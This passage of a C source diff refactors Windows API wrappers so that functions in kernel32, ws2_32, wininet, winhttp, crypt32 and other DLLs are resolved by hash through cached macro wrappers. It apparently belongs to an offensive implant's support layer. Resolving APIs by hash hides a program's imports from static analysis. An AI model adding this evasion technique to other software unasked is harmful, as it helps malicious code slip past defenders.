pvStructInfo, DWORD* pcbStructInfo), + (dwCertEncodingType, lpszStructType, pbEncoded, cbEncoded, dwFlags, pDecodePara, pvStructInfo, pcbStructInfo), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_crypt32_CryptImportPublicKeyInfo, WINAPI, CRYPT32_DLL, H_CryptImportPublicKeyInfo, + (HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY* phKey), + (hCryptProv, dwCertEncodingType, pInfo, phKey), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_crypt32_CertGetCertificateContextProperty, WINAPI, CRYPT32_DLL, H_CertGetCertificateContextProperty, + (PCCERT_CONTEXT pCertContext, DWORD dwPropId, void* pvData, DWORD* pcbData), + (pCertContext, dwPropId, pvData, pcbData), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_crypt32_CryptBinaryToStringA, WINAPI, CRYPT32_DLL, H_CryptBinaryToStringA, + (const BYTE* pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD* pcchString), + (pbBinary, cbBinary, dwFlags, pszString, pcchString), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_crypt32_CryptStringToBinaryA, WINAPI, CRYPT32_DLL, H_CryptStringToBinaryA, + (LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags), + (pszString, cchString, dwFlags, pbBinary, pcbBinary, pdwSkip, pdwFlags), FALSE) -DWORD winapi_kernel32_ResumeThread(HANDLE hThread) { - DWORD (WINAPI *pResumeThread)(HANDLE hThread) = GetFunctionH(KERNEL32_DLL, H_ResumeThread); - dprintf("[WINAPI][winapi_kernel32_ResumeThread] Calling ResumeThread @ %p", pResumeThread); - if (pResumeThread) { - return pResumeThread(hThread); - } - return (DWORD)-1; -} +// END: crypt32.dll +// START: user32.dll -BOOL winapi_kernel32_FreeLibrary(HMODULE hLibModule) { - BOOL (WINAPI *pFreeLibrary)(HMODULE hLibModule) = GetFunctionH(KERNEL32_DLL, H_FreeLibrary); - dprintf("[WINAPI][winapi_kernel32_FreeLibrary] Calling FreeLibrary @ %p", pFreeLibrary); - if (pFreeLibrary) { - return pFreeLibrary(hLibModule); - } - return FALSE; -} +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_GetUserObjectInformationA, WINAPI, USER32_DLL, H_GetUserObjectInformationA, + (HANDLE hObj, int nIndex, PVOID pvInfo, DWORD nLength, LPDWORD lpnLengthNeeded), + (hObj, nIndex, pvInfo, nLength, lpnLengthNeeded), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HDESK, winapi_user32_GetThreadDesktop, WINAPI, USER32_DLL, H_GetThreadDesktop, + (DWORD dwThreadId), (dwThreadId), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HWINSTA, winapi_user32_GetProcessWindowStation, WINAPI, USER32_DLL, H_GetProcessWindowStation, + (VOID), (), NULL) -BOOL winapi_kernel32_FlushInstructionCache(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize) { - BOOL (WINAPI *pFlushInstructionCache)(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize) = GetFunctionH(KERNEL32_DLL, H_FlushInstructionCache); - dprintf("[WINAPI][winapi_kernel32_FlushInstructionCache] Calling FlushInstructionCache @ %p", pFlushInstructionCache); - if (pFlushInstructionCache) { - return pFlushInstructionCache(hProcess, lpBaseAddress, dwSize); - } - return FALSE; -} +// END: user32.dll +// START: ws2_32.dll +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_WSAStartup, WSAAPI, WS2_32_DLL, H_WSAStartup, + (WORD wVersionRequired, LPWSADATA lpWSAData), (wVersionRequired, lpWSAData), WSASYSNOTREADY) +DEFINE_CACHED_WINAPI_WRAPPER(SOCKET, winapi_ws2_32_socket, WSAAPI, WS2_32_DLL, H_socket, + (int af, int type, int protocol), (af, type, protocol), INVALID_SOCKET) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_connect, WSAAPI, WS2_32_DLL, H_connect, + (SOCKET s, const struct sockaddr* name, int namelen), (s, name, namelen), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(SOCKET, winapi_ws2_32_accept, WSAAPI, WS2_32_DLL, H_accept, + (SOCKET s, struct sockaddr* addr, int* addrlen), (s, addr, addrlen), INVALID_SOCKET) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_setsockopt, WSAAPI, WS2_32_DLL, H_setsockopt, + (SOCKET s, int level, int optname, const char* optval, int optlen), (s, level, optname, optval, optlen), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_recv, WSAAPI, WS2_32_DLL, H_recv, + (SOCKET s, char* buf, int len, int flags), (s, buf, len, flags), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_WSADuplicateSocketA, WSAAPI, WS2_32_DLL, H_WSADuplicateSocketA, + (SOCKET s, DWORD dwProcessId, LPWSAPROTOCOL_INFOA lpProtocolInfo), (s, dwProcessId, lpProtocolInfo), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_send, WSAAPI, WS2_32_DLL, H_send, + (SOCKET s, const char* buf, int len, int flags), (s, buf, len, flags), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_bind, WSAAPI, WS2_32_DLL, H_bind, + (SOCKET s, const struct sockaddr* name, int namelen), (s, name, namelen), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_listen, WSAAPI, WS2_32_DLL, H_listen, + (SOCKET s, int backlog), (s, backlog), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_closesocket, WSAAPI, WS2_32_DLL, H_closesocket, + (SOCKET s), (s), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_select, WSAAPI, WS2_32_DLL, H_select, + (int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout), + (nfds, readfds, writefds, exceptfds, timeout), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(struct hostent*, winapi_ws2_32_gethostbyname, WSAAPI, WS2_32_DLL, H_gethostbyname, + (const char* name), (name), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_getaddrinfo, WSAAPI, WS2_32_DLL, H_getaddrinfo, + (PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult), + (pNodeName, pServiceName, pHints, ppResult), WSAEINVAL) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_ws2_32_freeaddrinfo, WSAAPI, WS2_32_DLL, H_freeaddrinfo, + (PADDRINFOA pAddrInfo), (pAddrInfo)) +DEFINE_CACHED_WINAPI_WRAPPER(u_short, winapi_ws2_32_htons, WSAAPI, WS2_32_DLL, H_htons, + (u_short hostshort), (hostshort), 0) +DEFINE_CACHED_WINAPI_WRAPPER(u_long, winapi_ws2_32_htonl, WSAAPI, WS2_32_DLL, H_htonl, + (u_long hostlong), (hostlong), 0) +DEFINE_CACHED_WINAPI_WRAPPER(u_long, winapi_ws2_32_ntohl, WSAAPI, WS2_32_DLL, H_ntohl, + (u_long netlong), (netlong), 0) +DEFINE_CACHED_WINAPI_WRAPPER(unsigned long, winapi_ws2_32_inet_addr, WSAAPI, WS2_32_DLL, H_inet_addr, + (const char* cp), (cp), INADDR_NONE) -HLOCAL winapi_kernel32_LocalFree(HLOCAL hMem) { - HLOCAL (WINAPI *pLocalFree)(HLOCAL hMem) = GetFunctionH(KERNEL32_DLL, H_LocalFree); - dprintf("[WINAPI][winapi_kernel32_LocalFree] Calling LocalFree @ %p", pLocalFree); - if (pLocalFree) { - return pLocalFree(hMem); - } - return hMem; // Per documentation, on failure, the handle is returned. -} +// END: ws2_32.dll +// START: ws2_32 extensions.dll -HANDLE winapi_kernel32_CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) { - HANDLE (WINAPI *pCreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) = GetFunctionH(KERNEL32_DLL, H_CreateFileA); - dprintf("[WINAPI][winapi_kernel32_CreateFileA] Calling CreateFileA @ %p", pCreateFileA); - if (pCreateFileA) { - return pCreateFileA(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); +int winapi_ws2_32_WSAGetLastError(VOID) { + static WinApiFunctionCache cache = WINAPI_FUNCTION_CACHE_INIT; + int (WSAAPI *pWSAGetLastError)(VOID) = (int (WSAAPI *)(VOID))GetFunctionHCached(&cache, WS2_32_DLL, H_WSAGetLastError); + // Do not log before reading the Winsock error: debug output can perform + // socket operations and overwrite the value this accessor must return. + if (pWSAGetLastError) { + return pWSAGetLastError(); } - return INVALID_HANDLE_VALUE; + return 0; } -BOOL winapi_kernel32_WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) { - BOOL (WINAPI *pWriteFile)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) = GetFunctionH(KERNEL32_DLL, H_WriteFile); - dprintf("[WINAPI][winapi_kernel32_WriteFile] Calling WriteFile @ %p", pWriteFile); - if (pWriteFile) { - return pWriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); - } - return FALSE; -} +DEFINE_CACHED_WINAPI_WRAPPER(char*, winapi_ws2_32_inet_ntoa, WSAAPI, WS2_32_DLL, H_inet_ntoa, + (struct in_addr in), (in), NULL) -HMODULE winapi_kernel32_LoadLibraryA(LPCSTR lpLibFileName) { - HMODULE (WINAPI *pLoadLibraryA)(LPCSTR lpLibFileName) = GetFunctionH(KERNEL32_DLL, H_LoadLibraryA); - dprintf("[WINAPI][winapi_kernel32_LoadLibraryA] Calling LoadLibraryA @ %p", pLoadLibraryA); - if (pLoadLibraryA) { - return pLoadLibraryA(lpLibFileName); - } - return NULL; -} +// END: ws2_32 extensions.dll +// START: wininet.dll -DWORD winapi_kernel32_WaitForMultipleObjects(DWORD nCount, const HANDLE* lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) { - DWORD (WINAPI *pWaitForMultipleObjects)(DWORD nCount, const HANDLE* lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) = GetFunctionH(KERNEL32_DLL, H_WaitForMultipleObjects); - dprintf("[WINAPI][winapi_kernel32_WaitForMultipleObjects] Calling WaitForMultipleObjects @ %p", pWaitForMultipleObjects); - if (pWaitForMultipleObjects) { - return pWaitForMultipleObjects(nCount, lpHandles, bWaitAll, dwMilliseconds); - } - return WAIT_FAILED; -} +DEFINE_CACHED_WINAPI_WRAPPER(HINTERNET, winapi_wininet_InternetOpenW, WINAPI, WININET_DLL, H_InternetOpenW, + (LPCWSTR lpszAgent, DWORD dwAccessType, LPCWSTR lpszProxy, LPCWSTR lpszProxyBypass, DWORD dwFlags), + (lpszAgent, dwAccessType, lpszProxy, lpszProxyBypass, dwFlags), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HINTERNET, winapi_wininet_InternetConnectW, WINAPI, WININET_DLL, H_InternetConnectW, + (HINTERNET hInternet, LPCWSTR lpszServerName, INTERNET_PORT nServerPort, LPCWSTR lpszUserName, LPCWSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext), + (hInternet, lpszServerName, nServerPort, lpszUserName, lpszPassword, dwService, dwFlags, dwContext), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HINTERNET, winapi_wininet_HttpOpenRequestW, WINAPI, WININET_DLL, H_HttpOpenRequestW, + (HINTERNET hConnect, LPCWSTR lpszVerb, LPCWSTR lpszObjectName, LPCWSTR lpszVersion, LPCWSTR lpszReferrer, LPCWSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext), + (hConnect, lpszVerb, lpszObjectName, lpszVersion, lpszReferrer, lplpszAcceptTypes, dwFlags, dwContext), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_wininet_InternetSetOptionW, WINAPI, WININET_DLL, H_InternetSetOptionW, + (HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength), + (hInternet, dwOption, lpBuffer, dwBufferLength), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_wininet_HttpSendRequestW, WINAPI, WININET_DLL, H_HttpSendRequestW, + (HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength), + (hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_wininet_HttpQueryInfoW, WINAPI, WININET_DLL, H_HttpQueryInfoW, + (HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex), + (hRequest, dwInfoLevel, lpBuffer, lpdwBufferLength, lpdwIndex), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_wininet_InternetReadFile, WINAPI, WININET_DLL, H_InternetReadFile, + (HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead), + (hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_wininet_InternetCloseHandle, WINAPI, WININET_DLL, H_InternetCloseHandle, + (HINTERNET hInternet), (hInternet), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_wininet_InternetCrackUrlW, WINAPI, WININET_DLL, H_InternetCrackUrlW, + (LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTSW lpUrlComponents), + (lpszUrl, dwUrlLength, dwFlags, lpUrlComponents), FALSE) -BOOL winapi_kernel32_SetHandleInformation(HANDLE hObject, DWORD dwMask, DWORD dwFlags) { - BOOL (WINAPI *pSetHandleInformation)(HANDLE hObject, DWORD dwMask, DWORD dwFlags) = GetFunctionH(KERNEL32_DLL, H_SetHandleInformation); - dprintf("[WINAPI][winapi_kernel32_SetHandleInformation] Calling SetHandleInformation @ %p", pSetHandleInformation); - if (pSetHandleInformation) { - return pSetHandleInformation(hObject, dwMask, dwFlags); - } - return FALSE; -} +// END: wininet.dll +// START: wininet extensions.dll -HGLOBAL winapi_kernel32_GlobalFree(HGLOBAL hMem) { - HGLOBAL (WINAPI *pGlobalFree)(HGLOBAL hMem) = GetFunctionH(KERNEL32_DLL, H_GlobalFree); - dprintf("[WINAPI][winapi_kernel32_GlobalFree] Calling GlobalFree @ %p", pGlobalFree); - if (pGlobalFree) { - return pGlobalFree(hMem); - } - return hMem; // Per documentation, on failure, the handle is returned. -} +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_wininet_HttpQueryInfoA, WINAPI, WININET_DLL, H_HttpQueryInfoA, + (HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex), + (hRequest, dwInfoLevel, lpBuffer, lpdwBufferLength, lpdwIndex), FALSE) -HANDLE winapi_kernel32_CreateNamedPipeA(LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes) { - HANDLE (WINAPI *pCreateNamedPipeA)(LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes) = GetFunctionH(KERNEL32_DLL, H_CreateNamedPipeA); - dprintf("[WINAPI][winapi_kernel32_CreateNamedPipeA] Calling CreateNamedPipeA @ %p", pCreateNamedPipeA); - if (pCreateNamedPipeA) { - return pCreateNamedPipeA(lpName, dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize, nInBufferSize, nDefaultTimeOut, lpSecurityAttributes); - } - return INVALID_HANDLE_VALUE; -} +// END: wininet extensions.dll +// START: rpcrt4.dll -BOOL winapi_kernel32_ConnectNamedPipe(HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped) { - BOOL (WINAPI *pConnectNamedPipe)(HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped) = GetFunctionH(KERNEL32_DLL, H_ConnectNamedPipe); - dprintf("[WINAPI][winapi_kernel32_ConnectNamedPipe] Calling ConnectNamedPipe @ %p", pConnectNamedPipe); - if (pConnectNamedPipe) { - return pConnectNamedPipe(hNamedPipe, lpOverlapped); - } - return FALSE; -} +DEFINE_CACHED_WINAPI_WRAPPER(RPC_STATUS, winapi_rpcrt4_UuidCreate, RPC_ENTRY, RPCRT4_DLL, H_UuidCreate, + (UUID* Uuid), (Uuid), RPC_S_INTERNAL_ERROR) -BOOL winapi_kernel32_GetOverlappedResult(HANDLE hFile, LPOVERLAPPED lpOverlapped, LPDWORD lpNumberOfBytesTransferred, BOOL bWait) { - BOOL (WINAPI *pGetOverlappedResult)(HANDLE hFile, LPOVERLAPPED lpOverlapped, LPDWORD lpNumberOfBytesTransferred, BOOL bWait) = GetFunctionH(KERNEL32_DLL, H_GetOverlappedResult); - dprintf("[WINAPI][winapi_kernel32_GetOverlappedResult] Calling GetOverlappedResult @ %p", pGetOverlappedResult); - if (pGetOverlappedResult) { - return pGetOverlappedResult(hFile, lpOverlapped, lpNumberOfBytesTransferred, bWait); - } - return FALSE; -} +// END: rpcrt4.dll +// START: winhttp.dll -BOOL winapi_kernel32_ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) { - BOOL (WINAPI *pReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) = GetFunctionH(KERNEL32_DLL, H_ReadFile); - dprintf("[WINAPI][winapi_kernel32_ReadFile] Calling ReadFile @ %p", pReadFile); - if (pReadFile) { - return pReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped); - } - return FALSE; -} +DEFINE_CACHED_WINAPI_WRAPPER(HINTERNET, winapi_winhttp_WinHttpOpen, WINAPI, WINHTTP_DLL, H_WinHttpOpen, + (LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags), + (pszAgentW, dwAccessType, pszProxyW, pszProxyBypassW, dwFlags), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HINTERNET, winapi_winhttp_WinHttpConnect, WINAPI, WINHTTP_DLL, H_WinHttpConnect, + (HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved), + (hSession, pswzServerName, nServerPort, dwReserved), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HINTERNET, winapi_winhttp_WinHttpOpenRequest, WINAPI, WINHTTP_DLL, H_WinHttpOpenRequest, + (HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR* ppwszAcceptTypes, DWORD dwFlags), + (hConnect, pwszVerb, pwszObjectName, pwszVersion, pwszReferrer, ppwszAcceptTypes, dwFlags), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpGetIEProxyConfigForCurrentUser, WINAPI, WINHTTP_DLL, H_WinHttpGetIEProxyConfigForCurrentUser, + (WINHTTP_CURRENT_USER_IE_PROXY_CONFIG* pProxyConfig), (pProxyConfig), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpGetProxyForUrl, WINAPI, WINHTTP_DLL, H_WinHttpGetProxyForUrl, + (HINTERNET hSession, LPCWSTR lpcwszUrl, WINHTTP_AUTOPROXY_OPTIONS* pAutoProxyOptions, WINHTTP_PROXY_INFO* pProxyInfo), + (hSession, lpcwszUrl, pAutoProxyOptions, pProxyInfo), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpSetOption, WINAPI, WINHTTP_DLL, H_WinHttpSetOption, + (HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength), + (hInternet, dwOption, lpBuffer, dwBufferLength), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpSendRequest, WINAPI, WINHTTP_DLL, H_WinHttpSendRequest, + (HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext), + (hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength, dwTotalLength, dwContext), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpReceiveResponse, WINAPI, WINHTTP_DLL, H_WinHttpReceiveResponse, + (HINTERNET hRequest, LPVOID lpReserved), (hRequest, lpReserved), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpQueryHeaders, WINAPI, WINHTTP_DLL, H_WinHttpQueryHeaders, + (HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpvBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex), + (hRequest, dwInfoLevel, pwszName, lpvBuffer, lpdwBufferLength, lpdwIndex), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpReadData, WINAPI, WINHTTP_DLL, H_WinHttpReadData, + (HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead), + (hRequest, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpQueryOption, WINAPI, WINHTTP_DLL, H_WinHttpQueryOption, + (HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, LPDWORD lpdwBufferLength), + (hInternet, dwOption, lpBuffer, lpdwBufferLength), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpCrackUrl, WINAPI, WINHTTP_DLL, H_WinHttpCrackUrl, + (LPCWSTR pwszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTS lpUrlComponents), + (pwszUrl, dwUrlLength, dwFlags, lpUrlComponents), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpCloseHandle, WINAPI, WINHTTP_DLL, H_WinHttpCloseHandle, + (HINTERNET hInternet), (hInternet), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winhttp_WinHttpWriteData, WINAPI, WINHTTP_DLL, H_WinHttpWriteData, + (HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten), + (hRequest, lpBuffer, dwNumberOfBytesToWrite, lpdwNumberOfBytesWritten), FALSE) -HANDLE winapi_kernel32_CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { - HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) = GetFunctionH(KERNEL32_DLL, H_CreateThread); - dprintf("[WINAPI][winapi_kernel32_CreateThread] Calling CreateThread @ %p", pCreateThread); - if (pCreateThread) { - return pCreateThread(lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId); - } - return NULL; -} +// END: winhttp.dll -BOOL winapi_kernel32_ResetEvent(HANDLE hEvent) { - BOOL (WINAPI *pResetEvent)(HANDLE hEvent) = GetFunctionH(KERNEL32_DLL, H_ResetEvent); - dprintf("[WINAPI][winapi_kernel32_ResetEvent] Calling ResetEvent @ %p", pResetEvent); - if (pResetEvent) { - return pResetEvent(hEvent); - } - return FALSE; -} - -BOOL winapi_kernel32_SetThreadErrorMode(DWORD dwNewMode, LPDWORD lpOldMode) { - BOOL (WINAPI *pSetThreadErrorMode)(DWORD dwNewMode, LPDWORD lpOldMode) = GetFunctionH(KERNEL32_DLL, H_SetThreadErrorMode); - dprintf("[WINAPI][winapi_kernel32_SetThreadErrorMode] Calling SetThreadErrorMode @ %p", pSetThreadErrorMode); - if (pSetThreadErrorMode) { - return pSetThreadErrorMode(dwNewMode, lpOldMode); - } - return FALSE; -} - -HMODULE winapi_kernel32_GetModuleHandleA(LPCSTR lpModuleName) { - HMODULE (WINAPI *pGetModuleHandleA)(LPCSTR) = GetFunctionH(KERNEL32_DLL, H_GetModuleHandleA); - dprintf("[WINAPI][winapi_kernel32_GetModuleHandleA] Calling GetModuleHandleA @ %p", pGetModuleHandleA); - if (pGetModuleHandleA) { - return pGetModuleHandleA(lpModuleName); - } - return NULL; -} - -HANDLE winapi_kernel32_CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) { - HANDLE (WINAPI *pCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE) = GetFunctionH(KERNEL32_DLL, H_CreateFileW); - dprintf("[WINAPI][winapi_kernel32_CreateFileW] Calling CreateFileW @ %p", pCreateFileW); - if (pCreateFileW) { - return pCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); - } - return INVALID_HANDLE_VALUE; -} - -HANDLE winapi_kernel32_CreateNamedPipeW(LPCWSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes) { - HANDLE (WINAPI *pCreateNamedPipeW)(LPCWSTR, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, LPSECURITY_ATTRIBUTES) = GetFunctionH(KERNEL32_DLL, H_CreateNamedPipeW); - dprintf("[WINAPI][winapi_kernel32_CreateNamedPipeW] Calling CreateNamedPipeW @ %p", pCreateNamedPipeW); - if (pCreateNamedPipeW) { - return pCreateNamedPipeW(lpName, dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize, nInBufferSize, nDefaultTimeOut, lpSecurityAttributes); - } - return INVALID_HANDLE_VALUE; -} - -HANDLE winapi_kernel32_CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName) { - HANDLE (WINAPI *pCreateEventA)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCSTR) = GetFunctionH(KERNEL32_DLL, H_CreateEventA); - dprintf("[WINAPI][winapi_kernel32_CreateEventA] Calling CreateEventA @ %p", pCreateEventA); - if (pCreateEventA) { - return pCreateEventA(lpEventAttributes, bManualReset, bInitialState, lpName); - } - return NULL; -} - -HANDLE winapi_kernel32_CreateEventW(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCWSTR lpName) { - HANDLE (WINAPI *pCreateEventW)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCWSTR) = GetFunctionH(KERNEL32_DLL, H_CreateEventW); - dprintf("[WINAPI][winapi_kernel32_CreateEventW] Calling CreateEventW @ %p", pCreateEventW); - if (pCreateEventW) { - return pCreateEventW(lpEventAttributes, bManualReset, bInitialState, lpName); - } - return NULL; -} - -BOOL winapi_kernel32_SetEvent(HANDLE hEvent) { - BOOL (WINAPI *pSetEvent)(HANDLE) = GetFunctionH(KERNEL32_DLL, H_SetEvent); - dprintf("[WINAPI][winapi_kernel32_SetEvent] Calling SetEvent @ %p", pSetEvent); - if (pSetEvent) { - return pSetEvent(hEvent); - } - return FALSE; -} - -DWORD winapi_kernel32_WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) { - DWORD (WINAPI *pWaitForSingleObject)(HANDLE, DWORD) = GetFunctionH(KERNEL32_DLL, H_WaitForSingleObject); - dprintf("[WINAPI][winapi_kernel32_WaitForSingleObject] Calling WaitForSingleObject @ %p", pWaitForSingleObject); - if (pWaitForSingleObject) { - return 